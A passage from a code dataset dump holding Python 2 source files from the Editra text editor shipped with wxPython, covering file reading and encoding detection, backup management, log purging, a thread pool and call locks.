else:\n\n # TODO: handle incremental mode for \n# enc, txt = FallbackReader(self.path)\n# if enc is not None:\n# self.encoding = enc\n# else:\n# raise UnicodeDecodeError, msg\n Log(\"[ed_txt][info] Decoded %s with %s\" % (self.GetPath(), self.encoding))\n self.SetModTime(ebmlib.GetFileModTime(self.GetPath()))\n else:\n raise ReadError, self.GetLastError()\n\n def RemoveModifiedCallback(self, callback):\n \"\"\"Remove a registered callback\n @param callback: callable to remove\n\n \"\"\"\n if callback in self._mcallback:\n self._mcallback.remove(callback)\n\n def ResetAll(self):\n \"\"\"Reset all attributes of this file\"\"\"\n super(EdFile, self).ResetAll()\n self._ResetBuffer()\n self._magic = dict(comment=None, bad=False)\n self.encoding = Profile_Get('ENCODING', default=DEFAULT_ENCODING)\n self.bom = None\n\n def SetEncoding(self, enc):\n \"\"\"Explicitly set/change the encoding of the file\n @param enc: encoding to change to\n\n \"\"\"\n if enc is None:\n enc = DEFAULT_ENCODING\n self.encoding = enc\n\n def ReadLines(self):\n \"\"\"Get the contents of the file as a list of lines\n @return: list of strings\n\n \"\"\"\n raise NotImplementedError\n\n def Write(self, value):\n \"\"\"Write the given value to the file\n @param value: (Unicode) String of text to write to disk\n @note: exceptions are allowed to be raised for the writing\n @throws: WriteError Failed to open file for writing\n @throws: UnicodeEncodeError Failed to encode text using set encoding\n\n \"\"\"\n # Check if a magic comment was added or changed\n self._ResetBuffer()\n self.__buffer.write(value)\n self.__buffer.seek(0)\n enc = CheckMagicComment([ self.__buffer.readline() for x in range(2) ])\n self.__buffer.seek(0)\n\n # Update encoding if necessary\n if enc is not None:\n Log(\"[ed_txt][info] Write: found magic comment: %s\" % enc)\n self.encoding = enc\n\n # Open and write the file\n if self.DoOpen('wb'):\n txt = self.EncodeText() # Convert back to string\n\n Log(\"[ed_txt][info] Opened %s, writing as %s\" % (self.GetPath(), self.encoding))\n \n if self.HasBom():\n Log(\"[ed_txt][info] Adding BOM back to text\")\n self.Handle.write(self.bom)\n\n self.Handle.write(txt)\n self.Handle.flush()\n self._ResetBuffer()\n self.Close()\n Log(\"[ed_txt][info] %s was written successfully\" % self.GetPath())\n else:\n raise WriteError, self.GetLastError()\n\n#-----------------------------------------------------------------------------#\n\nclass FileReadJob(object):\n \"\"\"Job for running an async file read in a background thread\"\"\"\n def __init__(self, reciever, task, *args, **kwargs):\n \"\"\"Create the thread\n @param receiver: Window to receive events\n @param task: generator method to call\n\n \"\"\"\n super(FileReadJob, self).__init__()\n\n # Attributes\n self.cancel = False\n self._task = task\n self.reciever = reciever\n self._args = args\n self._kwargs = kwargs\n self.pid = reciever.GetTopLevelParent().GetId()\n\n def run(self):\n \"\"\"Read the text\"\"\"\n evt = FileLoadEvent(edEVT_FILE_LOAD, wx.ID_ANY, None, FL_STATE_START)\n wx.PostEvent(self.reciever, evt)\n time.sleep(.75) # give ui a chance to get ready\n\n count = 1\n for txt in self._task(*self._args, **self._kwargs):\n if self.cancel:\n break\n\n evt = FileLoadEvent(edEVT_FILE_LOAD, wx.ID_ANY, txt)\n evt.SetProgress(count * self._args[0])\n wx.PostEvent(self.reciever, evt)\n count += 1\n\n evt = FileLoadEvent(edEVT_FILE_LOAD, wx.ID_ANY, None, FL_STATE_END)\n wx.PostEvent(self.reciever, evt)\n\n def Cancel(self):\n \"\"\"Cancel the running task\"\"\"\n self.cancel = True\n\n#-----------------------------------------------------------------------------#\n\nedEVT_FILE_LOAD = wx.NewEventType()\nEVT_FILE_LOAD = wx.PyEventBinder(edEVT_FILE_LOAD, 1)\nclass FileLoadEvent(wx.PyEvent):\n \"\"\"Event to signal that a chunk of text haes been read\"\"\"\n def __init__(self, etype, eid, value=None, state=FL_STATE_READING):\n \"\"\"Creates the event object\"\"\"\n super(FileLoadEvent, self).__init__(eid, etype)\n\n # Attributes\n self._state = state\n self._value = value\n self._prog = 0\n \n def HasText(self):\n \"\"\"Returns true if the event has text\n @return: bool whether the event contains text\n\n \"\"\"\n return self._value is not None\n\n def GetProgress(self):\n \"\"\"Get the current progress of the load\"\"\"\n return self._prog\n\n def GetState(self):\n \"\"\"Get the state of the file load action\n @return: int (FL_STATE_FOO)\n\n \"\"\"\n return self._state\n\n def GetValue(self):\n \"\"\"Returns the value from the event.\n @return: the value of this event\n\n \"\"\"\n return self._value\n\n def SetProgress(self, progress):\n \"\"\"Set the number of bytes that have been read\n @param progress: int\n\n \"\"\"\n self._prog = progress\n\n#-----------------------------------------------------------------------------#\n# Utility Function\ndef CheckBom(line):\n \"\"\"Try to look for a bom byte at the beginning of the given line\n @param line: line (first line) of a file\n @return: encoding or None\n\n \"\"\"\n Log(\"[ed_txt][info] CheckBom called\")\n has_bom = None\n # NOTE: MUST check UTF-32 BEFORE utf-16\n for enc in ('utf-8', 'utf-32', 'utf-16'):\n bom = BOM[enc]\n if line.startswith(bom):\n has_bom = enc\n break\n return has_bom\n\ndef CheckMagicComment(lines):\n \"\"\"Try to decode the given text on the basis of a magic\n comment if one is present.\n @param lines: list of lines to check for a magic comment\n @return: encoding or None\n\n \"\"\"\n Log(\"[ed_txt][info] CheckMagicComment: %s\" % str(lines))\n enc = None\n for line in lines:\n match = RE_MAGIC_COMMENT.search(line)\n if match:\n enc = match.group(1)\n try:\n codecs.lookup(enc)\n except LookupError:\n enc = None\n break\n\n Log(\"[ed_txt][info] MagicComment is %s\" % enc)\n return enc\n\ndef DecodeString(string, encoding=None):\n \"\"\"Decode the given string to Unicode using the provided\n encoding or the DEFAULT_ENCODING if None is provided.\n @param string: string to decode\n @keyword encoding: encoding to decode string with\n\n \"\"\"\n if encoding is None:\n encoding = DEFAULT_ENCODING\n\n if not ebmlib.IsUnicode(string):\n try:\n rtxt = codecs.getdecoder(encoding)(string)[0]\n except Exception, msg:\n Log(\"[ed_txt][err] DecodeString with %s failed\" % encoding)\n Log(\"[ed_txt][err] %s\" % msg)\n rtxt = string\n return rtxt\n else:\n # The string is already unicode so just return it\n return string\n\ndef EncodeString(string, encoding=None):\n \"\"\"Try and encode a given unicode object to a string\n with the provided encoding returning that string. The\n default encoding will be used if None is given for the\n encoding.\n @param string: unicode object to encode into a string\n @keyword encoding: encoding to use for conversion\n\n \"\"\"\n if not encoding:\n encoding = DEFAULT_ENCODING\n\n if ebmlib.IsUnicode(string):\n try:\n rtxt = codecs.getencoder(encoding)(string)[0]\n except LookupError:\n rtxt = string\n return rtxt\n else:\n return string\n\ndef FallbackReader(fname):\n \"\"\"Guess the encoding of a file by brute force by trying one\n encoding after the next until something succeeds.\n @param fname: file path to read from\n\n \"\"\"\n txt = None\n for enc in GetEncodings():\n try:\n handle = open(fname, 'rb')\n reader = codecs.getreader(enc)(handle)\n txt = reader.read()\n reader.close()\n except Exception, msg:\n handle.close()\n continue\n else:\n return (enc, txt)\n\n return (None, None)\n\ndef GuessEncoding(fname, sample):\n \"\"\"Attempt to guess an encoding\n @param fname: filename\n @param sample: pre-read amount\n @return: encoding or None\n\n \"\"\"\n for enc in GetEncodings():\n try:\n handle = open(fname, 'rb')\n reader = codecs.getreader(enc)(handle)\n txt = reader.read(sample)\n reader.close()\n except Exception, msg:\n handle.close()\n continue\n else:\n return enc\n return None\n\ndef GetEncodings():\n \"\"\"Get a list of possible encodings to try from the locale information\n @return: list of strings\n\n \"\"\"\n encodings = list()\n encodings.append(Profile_Get('ENCODING', None))\n\n try:\n encodings.append(locale.getpreferredencoding())\n except:\n pass\n \n encodings.append('utf-8')\n\n try:\n encodings.append(locale.nl_langinfo(locale.CODESET))\n except:\n pass\n try:\n encodings.append(locale.getlocale()[1])\n except:\n pass\n try:\n encodings.append(locale.getdefaultlocale()[1])\n except:\n pass\n encodings.append(sys.getfilesystemencoding())\n encodings.append('latin-1')\n\n # Clean the list for duplicates and None values\n rlist = list()\n for enc in encodings:\n if enc is not None and len(enc) and enc not in rlist:\n try:\n codecs.lookup(enc)\n except LookupError:\n pass\n else:\n rlist.append(enc.lower())\n\n return rlist\n", "id": "11012384", "language": "Python", "matching_score": 4.404438018798828, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/ed_txt.py" }, { "content": "###############################################################################\n# Name: Cody Precord #\n# Purpose: File Object Interface Implementation #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2009 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nEditra Business Model Library: FileObjectImpl\n\nImplementation of a file object interface class. Objects and methods inside\nof this library expect a file object that derives from this interface.\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: fileimpl.py 65795 2010-10-13 21:00:06Z CJP $\"\n__revision__ = \"$Revision: 65795 $\"\n\n#--------------------------------------------------------------------------#\n# Imports\nimport os\nimport sys\n\n# Editra Business Model Imports\nimport txtutil\nimport fileutil\n\n#--------------------------------------------------------------------------#\n\nclass FileObjectImpl(object):\n \"\"\"File Object Interface implementation base class\"\"\"\n def __init__(self, path=u'', modtime=0):\n super(FileObjectImpl, self).__init__()\n\n # Attributes\n self._path = fileutil.GetPathFromURI(path)\n self._modtime = modtime\n\n self._handle = None\n self.open = False\n\n self.last_err = None\n\n def ClearLastError(self):\n \"\"\"Reset the error marker on this file\"\"\"\n del self.last_err\n self.last_err = None\n\n def Clone(self):\n \"\"\"Clone the file object\n @return: FileObject\n\n \"\"\"\n fileobj = FileObjectImpl(self._path, self._modtime)\n fileobj.SetLastError(self.last_err)\n return fileobj\n\n def Close(self):\n \"\"\"Close the file handle\n @note: this is normally done automatically after a read/write operation\n\n \"\"\"\n try:\n self._handle.close()\n except:\n pass\n\n self.open = False\n\n def DoOpen(self, mode):\n \"\"\"Opens and creates the internal file object\n @param mode: mode to open file in\n @return: True if opened, False if not\n @postcondition: self._handle is set to the open handle\n\n \"\"\"\n if not len(self._path):\n return False\n\n try:\n file_h = open(self._path, mode)\n except (IOError, OSError), msg:\n self.SetLastError(unicode(msg))\n return False\n else:\n self._handle = file_h\n self.open = True\n return True\n\n def Exists(self):\n \"\"\"Does the file exist on disk?\n @return: bool\n\n \"\"\"\n if self._path:\n return fileutil.PathExists(self._path)\n else:\n return False\n\n def GetExtension(self):\n \"\"\"Get the files extension if it has one else simply return the\n filename minus the path.\n @return: string file extension (no dot)\n\n \"\"\"\n fname = os.path.split(self._path)\n return fname[-1].split(os.extsep)[-1].lower()\n\n def GetHandle(self):\n \"\"\"Get this files handle\"\"\"\n return self._handle\n\n def GetLastError(self):\n \"\"\"Return the last error that occurred when using this file\n @return: err traceback or None\n\n \"\"\"\n errstr = u\"None\"\n if self.last_err:\n if not txtutil.IsUnicode(self.last_err):\n errstr = unicode(self.last_err)\n else:\n errstr = self.last_err\n return errstr\n\n def GetModtime(self):\n \"\"\"Get the timestamp of this files last modification\"\"\"\n return self._modtime\n\n def GetPath(self):\n \"\"\"Get the path of the file\n @return: string\n\n \"\"\"\n return self._path\n\n def GetSize(self):\n \"\"\"Get the size of the file\n @return: int\n\n \"\"\"\n if self._path:\n return fileutil.GetFileSize(self._path)\n else:\n return 0\n\n @property\n def Handle(self):\n \"\"\"Raw file handle property\"\"\"\n return self._handle\n\n def IsOpen(self):\n \"\"\"Check if file is open or not\n @return: bool\n\n \"\"\"\n return self.open\n\n def IsReadOnly(self):\n \"\"\"Is the file Read Only\n @return: bool\n\n \"\"\"\n if os.path.exists(self._path):\n return not os.access(self._path, os.R_OK|os.W_OK)\n else:\n return False\n\n @property\n def Modtime(self):\n \"\"\"File modification time propery\"\"\"\n return self.GetModtime()\n\n @property\n def ReadOnly(self):\n \"\"\"Is the file read only?\"\"\"\n return self.IsReadOnly()\n\n def ResetAll(self):\n \"\"\"Reset all file attributes\"\"\"\n self._handle = None\n self.open = False\n self._path = u''\n self._modtime = 0\n self.last_err = None\n\n def SetLastError(self, err):\n \"\"\"Set the last error\n @param err: exception object / msg\n\n \"\"\"\n self.last_err = err\n\n def SetPath(self, path):\n \"\"\"Set the path of the file\n @param path: absolute path to file\n\n \"\"\"\n self._path = fileutil.GetPathFromURI(path)\n\n def SetModTime(self, mtime):\n \"\"\"Set the modtime of this file\n @param mtime: long int to set modtime to\n\n \"\"\"\n self._modtime = mtime\n\n #--- SHould be overridden by subclass ---#\n\n def Read(self):\n \"\"\"Open/Read the file\n @return: string (file contents)\n\n \"\"\"\n txt = u''\n if self.DoOpen('rb'):\n try:\n txt = self._handle.read()\n except:\n pass\n\n return txt\n\n def Write(self, value):\n \"\"\"Open/Write the value to disk\n @param value: string\n\n \"\"\"\n if self.DoOpen('wb'):\n self._handle.write(value)\n self._handle.close()\n", "id": "4463808", "language": "Python", "matching_score": 1.2277454137802124, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/ebmlib/fileimpl.py" }, { "content": "###############################################################################\n# Name: backupmgr.py #\n# Purpose: File Backup Manager #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2009 <NAME> <<EMAIL>> #\n# Licence: wxWindows Licence #\n###############################################################################\n\n\"\"\"\nEditra Business Model Library: FileBackupMgr\n\nHelper class for managing and creating backups of files.\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__cvsid__ = \"$Id: backupmgr.py 67646 2011-04-29 03:07:20Z CJP $\"\n__revision__ = \"$Revision: 67646 $\"\n\n__all__ = [ 'FileBackupMgr', ]\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport os\nimport shutil\n\n# Local Imports\nimport fileutil\nimport fchecker\n\n#-----------------------------------------------------------------------------#\n\nclass FileBackupMgr(object):\n \"\"\"File backup creator and manager\"\"\"\n def __init__(self, header=None, template=u\"%s~\"):\n \"\"\"Create a BackupManager\n @keyword header: header to id backups with (Text files only!!)\n @keyword template: template string for naming backup file with\n\n \"\"\"\n super(FileBackupMgr, self).__init__()\n\n # Attributes\n self.checker = fchecker.FileTypeChecker()\n self.header = header # Backup id header\n self.template = template # Filename template\n self.bkupdir = u\"\"\n\n def _CheckHeader(self, fname):\n \"\"\"Check if the backup file has a header that matches the\n header used to identify backup files.\n @param fname: name of file to check\n @return: bool (True if header is ok, False otherwise)\n\n \"\"\"\n isok = False\n handle = None\n try:\n handle = open(fname, 'r')\n line = handle.readline()\n handle.close()\n isok = line.startswith(self.header)\n except Exception, msg:\n isok = False\n if handle:\n handle.close()\n return isok\n\n def GetBackupFilename(self, fname):\n \"\"\"Get the unique name for the files backup copy\n @param fname: string (file path)\n @return: string\n\n \"\"\"\n if self.bkupdir:\n tmp = fileutil.GetFileName(fname)\n fname = os.path.join(self.bkupdir, tmp)\n\n rname = self.template % fname\n if self.header is not None and \\\n not self.checker.IsBinary(fname) and \\\n os.path.exists(rname):\n # Make sure that the template backup name does not match\n # an existing file that is not a backup file.\n while os.path.exists(rname):\n if not self._CheckHeader(rname):\n rname = self.template % rname\n else:\n break\n \n return rname\n\n def GetBackupWriter(self, fileobj):\n \"\"\"Create a backup filewriter method to backup a files contents\n with.\n @param fileobj: object implementing fileimpl.FileObjectImpl interface\n @return: callable(text) to create backup with\n\n \"\"\"\n nfile = fileobj.Clone()\n fname = self.GetBackupFilename(nfile.GetPath())\n nfile.SetPath(fname)\n # Write the header if it is enabled\n if self.header and not self.checker.IsBinary(fname):\n nfile.Write(self.header + os.linesep)\n return nfile.Write\n\n def HasBackup(self, fname):\n \"\"\"Check if a given file has a backup file available or not\n @param fname: string (file path)\n\n \"\"\"\n backup = self.GetBackupFilename(fname)\n return os.path.exists(backup)\n\n def IsBackupNewer(self, fname):\n \"\"\"Is the backup of this file newer than the saved version\n of the file?\n @param fname: string (file path)\n @return: bool\n\n \"\"\"\n backup = self.GetBackupFilename(fname)\n if os.path.exists(fname) and os.path.exists(backup):\n mod1 = fileutil.GetFileModTime(backup)\n mod2 = fileutil.GetFileModTime(fname)\n return mod1 > mod2\n else:\n return False\n\n def MakeBackupCopy(self, fname):\n \"\"\"Create a backup copy of the given filename\n @param fname: string (file path)\n @return: bool (True == Success)\n\n \"\"\"\n backup = self.GetBackupFilename(fname)\n try:\n if os.path.exists(backup):\n os.remove(backup)\n\n shutil.copy2(fname, backup)\n if self.header:\n handle = open(backup, 'r')\n txt = handle.read()\n handle.close()\n handle = open(backup, 'w')\n handle.write(self.header + os.linesep)\n handle.write(txt)\n handle.close()\n except:\n return False\n else:\n return True\n\n def SetBackupDirectory(self, path):\n \"\"\"Set the backup directory to use for all backups created by this\n manager instance. Setting the path to an empty string will set the\n default behavior to write the backup to the same directory as the\n where the file that is being backedup is located.\n\n \"\"\"\n self.bkupdir = path \n\n def SetBackupFileTemplate(self, tstr):\n \"\"\"Set the filename template for generating the backupfile name\n @param tstr: template string i.e) %s~\n\n \"\"\"\n assert tstr.count(\"%s\") == 1, \"Format statment must only have one arg\"\n self.template = tstr\n\n def SetHeader(self, header):\n \"\"\"Set the header string for identifying a file as a backup\n @param header: string (single line only)\n\n \"\"\"\n assert '\\n' not in header, \"Header must only be a single line\"\n self.header = header\n", "id": "4358753", "language": "Python", "matching_score": 2.340705633163452, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/ebmlib/backupmgr.py" }, { "content": "###############################################################################\n# Name: Cody Precord #\n# Purpose: Log File #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2010 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nEditra Business Model Library: LogFile\n\nLog file class for managing log files or other transient files that should\nbe purged after a given period of time.\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: logfile.py 66868 2011-02-09 16:01:49Z CJP $\"\n__revision__ = \"$Revision: 66868 $\"\n\n__all__ = ['LogFile',]\n\n#--------------------------------------------------------------------------#\n# Imports\nimport os\nimport time\nimport datetime\nimport re\nimport tempfile\n\n#--------------------------------------------------------------------------#\n\nclass LogFile(object):\n \"\"\"Log file class\"\"\"\n def __init__(self, prefix, logdir=None):\n \"\"\"Create a log file\n @param prefix: filename prefix\n @keyword logdir: abs path to log output dir\n @note: if logdir is None then the system temp directory will be used\n\n \"\"\"\n super(LogFile, self).__init__()\n\n # Attributes\n self.prefix = prefix\n self.logdir = logdir\n\n # Setup\n if self.logdir is None:\n self.logdir = tempfile.gettempdir()\n\n #---- Properties ----#\n LogDirectory = property(lambda self: self.logdir,\n lambda self, dname: setattr(self, 'logdir', dname))\n Prefix = property(lambda self: self.prefix,\n lambda self, prefix: setattr(self, 'prefix', prefix))\n\n #---- Public Interface ----#\n def WriteMessage(self, msg):\n \"\"\"Append the message to the current log file\n @param msg: string object\n\n \"\"\"\n # Files are named as prefix_YYYY_MM_DD.log\n logstamp = \"%d_%d_%d\" % time.localtime()[:3]\n logname = \"%s_%s.log\" % (self.prefix, logstamp)\n logpath = os.path.join(self.logdir, logname)\n if os.path.exists(logpath):\n opencmd = \"ab\"\n else:\n opencmd = \"wb\"\n\n# with open(logpath, opencmd) as handle:\n# handle.write(msg.rstrip() + os.linesep)\n try:\n handle = open(logpath, opencmd)\n handle.write(msg.rstrip() + os.linesep)\n handle.close()\n except IOError:\n pass\n\n def PurgeOldLogs(self, days):\n \"\"\"Purge all log files older than n days\n @param days: number of days\n\n \"\"\"\n logpattern = re.compile(\"%s_[0-9]{4}_[0-9]{1,2}_[0-9]{1,2}.log\" % self.prefix)\n paths = list()\n cdate = datetime.date(*time.localtime()[:3])\n for path in os.listdir(self.logdir):\n if logpattern.match(path):\n ymd = [int(x) for x in path[len(self.prefix)+1:-4].split('_')]\n fdate = datetime.date(*ymd)\n span = cdate - fdate\n if span.days > days:\n fpath = os.path.join(self.logdir, path)\n paths.append(fpath)\n\n # Attempt to cleanup the old files\n for log in paths:\n try:\n os.remove(log)\n except OSError:\n pass\n", "id": "5554760", "language": "Python", "matching_score": 1.6992162466049194, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/ebmlib/logfile.py" }, { "content": "###############################################################################\n# Name: __init__.py #\n# Purpose: Puts external modules in the namespace #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2007 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\"\"\"External Module Package\nModules that Editra depends on that are where not developed for the project but\nare distributed with it, either because of slight customizations made to them\nor to reduce what is needed to be installed when installing Editra.\n\n@note: modules in this directory are dependancies and addons that are not\n part of the core code.\n\n\"\"\"\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: __init__.py 52855 2008-03-27 14:53:06Z CJP $\"\n__revision__ = \"$Revision: 52855 $\"\n\n__all__ = ['ez_setup', 'pkg_resources', 'events', 'flatnotebook']\n\n", "id": "4092182", "language": "Python", "matching_score": 3.4519786834716797, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/extern/__init__.py" }, { "content": "###############################################################################\n# Name: __init__.py #\n# Purpose: Import the required base modules needed for launching Editra into #\n# into the namespace. #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2007 <NAME> <<EMAIL>> #\n# Licence: wxWindows Licence #\n###############################################################################\n\"\"\"Main package module\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: __init__.py 49807 2007-11-10 07:08:33Z CJP $\"\n__revision__ = \"$Revision: 49807 $\"\n", "id": "10951574", "language": "Python", "matching_score": 0.22252371907234192, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/__init__.py" }, { "content": "###############################################################################\n# Name: _threads.py #\n# Purpose: Threadpool implementation #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2011 <NAME> <<EMAIL>> #\n# Licence: wxWindows Licence #\n###############################################################################\n\n\"\"\"\nEditra Business Model Library: ThreadPool\n\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: _threads.py 67422 2011-04-09 17:23:27Z CJP $\"\n__revision__ = \"$Revision: 67422 $\"\n\n__all__ = [ 'ThreadPool', ]\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport threading\nimport Queue\n\n#-----------------------------------------------------------------------------#\n\nclass ThreadPool(object):\n \"\"\"Object for managing a collection of threads and dispatching jobs\n to them.\n\n \"\"\"\n def __init__(self, tcount, qsize=-1):\n \"\"\"Create the ThreadPool\n @param tcount: max number of threads to keep in the pool\n @keyword qsize: size of job queue (-1 for unlimited)\n\n \"\"\"\n super(ThreadPool, self).__init__()\n\n # Attributes\n self._poolsize = tcount\n self._jobs = Queue.Queue(qsize)\n self._threads = [ _WorkerThread(self._jobs) for t in range(self._poolsize) ]\n\n ThreadCount = property(lambda self: self._poolsize)\n JobCount = property(lambda self: self._jobs.qsize())\n\n def QueueJob(self, funct, *args, **kwargs):\n \"\"\"Add a job to be processed\n @param funct: callable\n @param args: list of any positional arguments to funct\n @param kwargs: map of any keyword arguments to funct\n\n \"\"\"\n assert callable(funct)\n self._jobs.put((funct, args, kwargs))\n\n def Shutdown(self):\n \"\"\"Shutdown the ThreadPool\n @note: Blocking call until all threads have exited\n\n \"\"\"\n self._jobs.join()\n\n#-----------------------------------------------------------------------------#\n\nclass _WorkerThread(threading.Thread):\n \"\"\"Worker thread class to be used by the ThreadPool\"\"\"\n def __init__(self, jobs):\n \"\"\"Create the Thread object\n @param jobs: Queue object\n\n \"\"\"\n super(_WorkerThread, self).__init__()\n\n # Attributes\n self._jobs = jobs\n self.daemon = True\n self.start()\n\n def run(self):\n \"\"\"Run and process jobs until requested to exit\"\"\"\n while True:\n funct, args, kwargs = self._jobs.get()\n try:\n funct(*args, **kwargs)\n except Exception, msg:\n pass # TODO add error to result data?\n finally:\n self._jobs.task_done()\n\n#-----------------------------------------------------------------------------#\n# Unittest\nif __name__ == '__main__':\n pool = ThreadPool(5)\n import time\n import random\n def Job(id_, length):\n print \"JOB: %d, begin\" % id_\n time.sleep(length)\n print \"JOB: %d, end\" % id_\n\n print \"Start Jobs\"\n for x in range(8):\n pool.QueueJob(Job, x, random.randint(1, 20))\n print \"All Jobs Queued\"\n\n pool.Shutdown() # blocks till pool is shutdown\n print \"All Done!\"\n", "id": "5575349", "language": "Python", "matching_score": 2.472792863845825, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/ebmlib/_threads.py" }, { "content": "###############################################################################\n# Name: ed_thread.py #\n# Purpose: Provides Thread Pool interface and access #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2011 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nImplements and provides the interface for dispatching asynchronous jobs through\nthe Editra Threadpool.\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: ed_thread.py 67397 2011-04-05 20:46:23Z CJP $\"\n__revision__ = \"$Revision: 67397 $\"\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport wx\n\n# Local Imports\nimport ebmlib\n\n#-----------------------------------------------------------------------------#\n\nclass EdThreadPool(ebmlib.ThreadPool):\n \"\"\"Singleton ThreadPool\"\"\"\n __metaclass__ = ebmlib.Singleton\n def __init__(self):\n super(EdThreadPool, self).__init__(5) # 5 Threads\n\n#-----------------------------------------------------------------------------#\n ", "id": "12029832", "language": "Python", "matching_score": 0.10783810168504715, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/ed_thread.py" }, { "content": "###############################################################################\n# Name: calllock.py #\n# Purpose: Manager to lock the context of a function call. #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2010 <NAME> <<EMAIL>> #\n# Licence: wxWindows Licence #\n###############################################################################\n\n\"\"\"\nEditra Business Model Library: CallLock\n\nProvides a Lock class for managing a lock during the duration of a function\ncall.\n\nExample:\n\nlock = CallLock(DoSomething)\nlock.Lock() # Executes DoSomething\n\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: calllock.py 65794 2010-10-13 14:10:09Z CJP $\"\n__revision__ = \"$Revision: 65794 $\"\n\n__all__ = [ 'CallLock', 'StaticCallLock', 'LockCall']\n\n#-----------------------------------------------------------------------------#\n\nclass CallLock(object):\n \"\"\"Class to lock a context around a function call\"\"\"\n def __init__(self, callable=None, args=[], kwargs={}):\n super(CallLock, self).__init__()\n\n # Attributes\n self._locked = False\n self.funct = callable\n self.args = args\n self.kwargs = kwargs\n\n def Discard(self):\n \"\"\"Clear callable\"\"\"\n assert not self.IsLocked(), \"Failed to obtain lock!\"\n self.funct = None\n self.args = []\n self.kwargs = {}\n\n def IsLocked(self):\n return self._locked\n\n def Lock(self):\n assert not self.IsLocked(), \"Failed to obtain lock!\"\n assert callable(self.funct), \"No Callable to Lock!\"\n self._locked = True\n rval = self.funct(*self.args, **self.kwargs)\n self._locked = False\n return rval\n\n def SetManagedCall(self, callable, args=[], kwargs={}):\n \"\"\"Set the call that will be managed by this lock\"\"\"\n assert not self.IsLocked(), \"Failed to obtain lock!\"\n self.funct = callable\n self.args = args\n self.kwargs = kwargs\n\n#-----------------------------------------------------------------------------#\n\nclass StaticCallLock(CallLock):\n \"\"\"Provides a static lock around a function call\"\"\"\n _staticlock = False\n\n def IsLocked(self):\n return StaticCallLock._staticlock\n\n def Lock(self):\n \"\"\"Lock the static class member\"\"\"\n StaticCallLock._staticlock = True\n super(StaticCallLock, self).Lock()\n StaticCallLock._staticlock = False\n\n#-----------------------------------------------------------------------------#\n\ndef LockCall(lock, callable, args=[], kwargs={}):\n \"\"\"Convenience function for locking an function call with\n the provided CallLock object.\n\n \"\"\"\n if not isinstance(lock, CallLock):\n raise TypeError(\"lock is not of type CallLock\")\n\n lock.SetManagedCall(callable, args, kwargs)\n rval = lock.Lock()\n lock.Discard()\n return rval\n", "id": "7050801", "language": "Python", "matching_score": 1.4960477352142334, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/ebmlib/calllock.py" }, { "content": "###############################################################################\n# Name: osutil.py #\n# Purpose: Text Utilities. #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2010 <NAME> <<EMAIL>> #\n# Licence: wxWindows Licence #\n###############################################################################\n\n\"\"\"\nEditra Business Model Library: Operating System Utilities\n\nUtilities for handling OS related interactions.\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: $\"\n__revision__ = \"$Revision: $\"\n\n__all__ = ['InstallTermHandler', ]\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport wx\nimport signal\nimport collections\n\nHASWIN32 = False\nif wx.Platform == '__WXMSW__':\n try:\n import win32api\n except ImportError:\n HASWIN32 = False\n else:\n HASWIN32 = True\n\n#-----------------------------------------------------------------------------#\n\ndef InstallTermHandler(callback, *args, **kwargs):\n \"\"\"Install exit app handler for sigterm (unix/linux)\n and uses SetConsoleCtrlHandler on Windows.\n @param callback: callable(*args, **kwargs)\n @return: bool (installed or not)\n\n \"\"\"\n assert isinstance(callback, collections.Callable), \"callback must be callable!\"\n\n installed = True\n if wx.Platform == '__WXMSW__':\n if HASWIN32:\n win32api.SetConsoleCtrlHandler(lambda dummy : callback(*args, **kwargs),\n True)\n else:\n installed = False\n else:\n signal.signal(signal.SIGTERM,\n lambda signum, frame : callback(*args, **kwargs))\n\n return installed\n\n", "id": "6319585", "language": "Python", "matching_score": 0.4870925843715668, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/ebmlib/osutil.py" }, { "content": "#----------------------------------------------------------------------\n# Name: wx.lib.flashwin\n# Purpose: A class that 